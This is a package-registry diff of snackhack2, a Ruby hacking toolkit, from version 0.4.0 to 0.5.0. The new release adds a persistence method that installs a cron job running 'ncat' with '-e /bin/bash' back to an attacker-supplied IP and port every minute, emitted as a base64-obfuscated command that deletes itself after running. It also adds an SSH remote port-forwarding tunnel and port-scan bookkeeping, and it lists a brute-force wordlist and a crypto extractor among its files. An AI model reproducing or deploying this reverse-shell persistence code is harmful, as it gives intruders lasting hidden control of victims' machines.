snackhack2 0.4.0 → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: bbc624381b4958502decfc6b7ac465d6403f1188ce32dab550646e845ccddf12
4
- data.tar.gz: 1cc81ff8c7b3de88dfcb61ac2c017399d278d507c5e961ef1de1e217a57210f2
3
+ metadata.gz: afdc9b9af7107268f1675b7a6551143d6a0548051333bbc6bfdd9509ba849cf5
4
+ data.tar.gz: ce38033dfa752619fedebfdd0618f85388f62257db1df177a9c0173f29349850
5
5
  SHA512:
6
- metadata.gz: 74be7753128578579313e14a33b5796262126c3286d6ab77bb345ffd61cf1fb6f0a586e8369ce36a73c0135db99a26b36b73209e67b2d5d2ad59ab758e6035b0
7
- data.tar.gz: 490420d11d5a8d93c0d11a3644abfde7ef00ee34621f84074bb82e69e6bea3899646e3c31407b2886d61bfe30b0bbfa12b2f0ade9d88007b18bd703288ed21d9
6
+ metadata.gz: 1ccafeff7b74f96d7f8d7c1fa4d1b9db2508ba11ae05d26d96ab0f345a961dca5b4de04a2f83dccbfe65223f090cba3aa52d916ec5a4a9cd3564833af79dd6c6
7
+ data.tar.gz: 2f3e09611dd4d82ba814fd841ee574d3ef493f951b22950ce4957800e568744cf7d5a1b00327673ea2b7037d13410aa0f490d63573654fe6509d0fd87569504f
@@ -0,0 +1,23 @@
1
+ require 'net/ssh'
2
+ module Snackhack2
3
+ class SSHForwardRemote
4
+ attr_accessor :site, :user, :pass, :key, :lport, :lsite, :rport
5
+
6
+ def initialize
7
+ @site = site
8
+ @user = user
9
+ @pass = pass
10
+ @key = key
11
+ @lport = lport
12
+ @lsite = lsite
13
+ @rport = rport
14
+ end
15
+ def run
16
+ Net::SSH.start(@site, @user, :password => @pass, :keys => @key) do |ssh|
17
+ ssh.forward.remote(@lport, @lsite, @rport)
18
+ puts "[+] Starting SSH remote forward tunnel"
19
+ ssh.loop { true }
20
+ end
21
+ end
22
+ end
23
+ end
@@ -18,8 +18,8 @@ module Snackhack2
18
18
  http = Snackhack2::get(@site)
19
19
  if http.code == 200
20
20
  regex = http.body
21
- t = regex.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
22
- out = t.map { |n| n[0] }.compact
21
+ phone = regex.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
22
+ out = phone.map { |n| n[0] }.compact
23
23
  numbers << out
24
24
  else
25
25
  puts "[+] Status code: #{http.code}"
@@ -3,8 +3,11 @@
3
3
  require 'packetfu'
4
4
  module Snackhack2
5
5
  class PortScan
6
- def initialize(ip)
6
+ attr_accessor :display, :ip, :delete
7
+ def initialize(ip, display: true, delete: false)
7
8
  @ip = ip
9
+ @display = display
10
+ @delete = delete
8
11
  end
9
12
 
10
13
  def run
@@ -13,8 +16,20 @@ module Snackhack2
13
16
  ports.each { |i| threads << Thread.new { tcp(i) } }
14
17
  threads.each(&:join)
15
18
  end
16
-
19
+ def ports_extractor(port)
20
+ ip=[]
21
+ files = Dir['*_port_scan.txt']
22
+ files.each do |f|
23
+ r=File.read(f)
24
+ if r.include?(port)
25
+ ip << f.split("_")[0]
26
+ end
27
+ File.delete(f) if delete
28
+ end
29
+ File.open("#{port}_scan.txt", 'w+') { |file| file.write(ip.join("\n")) }
30
+ end
17
31
  def tcp(i)
32
+ ip = @ip
18
33
  open_ports = []
19
34
  begin
20
35
  Timeout.timeout(1) do
@@ -27,10 +42,12 @@ module Snackhack2
27
42
  rescue Timeout::Error
28
43
  end
29
44
  return if open_ports.empty?
30
-
31
- open_ports.each do |port|
32
- puts "#{port} is open"
45
+ if @display
46
+ open_ports.each do |port|
47
+ puts "#{port} is open"
48
+ end
33
49
  end
50
+ File.open("#{ip}_port_scan.txt", 'a') { |file| file.write(open_ports.shift.to_s+ "\n") }
34
51
  end
35
52
  end
36
53
  end
@@ -12,5 +12,11 @@ module Snackhack2
12
12
  (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
13
13
  puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
14
14
  end
15
+ def version2
16
+ c = %Q{#!/bin/bash
17
+ line="* * * * * ncat #{@ip} #{@port} -e /bin/bash"
18
+ (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
19
+ puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
20
+ end
15
21
  end
16
22
  end
@@ -1,5 +1,5 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module Snackhack2
4
- VERSION = '0.4.0'
4
+ VERSION = '0.5.0'
5
5
  end
data/lib/snackhack2.rb CHANGED
@@ -25,7 +25,7 @@ require_relative 'snackhack2/sitemap'
25
25
  require_relative 'snackhack2/tomcat'
26
26
  require_relative 'snackhack2/subdomains2'
27
27
  require_relative 'snackhack2/reverse_shell'
28
-
28
+ require_relative 'snackhack2/forward_remote'
29
29
  module Snackhack2
30
30
  UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
31
31
  def self.read_serverversion
@@ -46,14 +46,27 @@ module Snackhack2
46
46
  end
47
47
  end
48
48
  end
49
-
50
- def self.file_save(site, type, content)
51
- hostname = URI.parse(site).host
52
- File.open("#{hostname}_#{type}.txt", 'w+') { |file| file.write(content) }
53
- puts "[+] Saving file to #{hostname}_#{type}.txt..."
49
+ def self.file_save(site, type, content, ip:false)
50
+ hostname = URI.parse(site).host
51
+ File.open("#{hostname}_#{type}.txt", 'w+') { |file| file.write(content) }
52
+ puts "[+] Saving file to #{hostname}_#{type}.txt..."
54
53
  end
55
54
 
56
55
  def self.get(site)
57
56
  HTTParty.get(site, { headers: { "User-Agent" => UA } })
58
57
  end
58
+
59
+ def self.clean_portscan
60
+ Dir['*_port_scan.txt'].each do |file|
61
+ puts "[+] deleting #{file}..."
62
+ File.delete(file)
63
+ end
64
+ end
65
+ def self.read_portscan
66
+ files = Dir['*_port_scan.txt']
67
+ files.each do |f|
68
+ read = File.read(f)
69
+ puts "#{f.split('_')[0]}: #{read}"
70
+ end
71
+ end
59
72
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: snackhack2
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.4.0
4
+ version: 0.5.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - mike
8
8
  autorequire:
9
9
  bindir: exe
10
10
  cert_chain: []
11
- date: 2024-08-03 00:00:00.000000000 Z
11
+ date: 2024-08-29 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: httparty
@@ -66,6 +66,7 @@ files:
66
66
  - lib/snackhack2/cryptoextractor.rb
67
67
  - lib/snackhack2/drupal.rb
68
68
  - lib/snackhack2/emails.rb
69
+ - lib/snackhack2/forward_remote.rb
69
70
  - lib/snackhack2/google_analytics.rb
70
71
  - lib/snackhack2/iplookup.rb
71
72
  - lib/snackhack2/lists/sshbrute.txt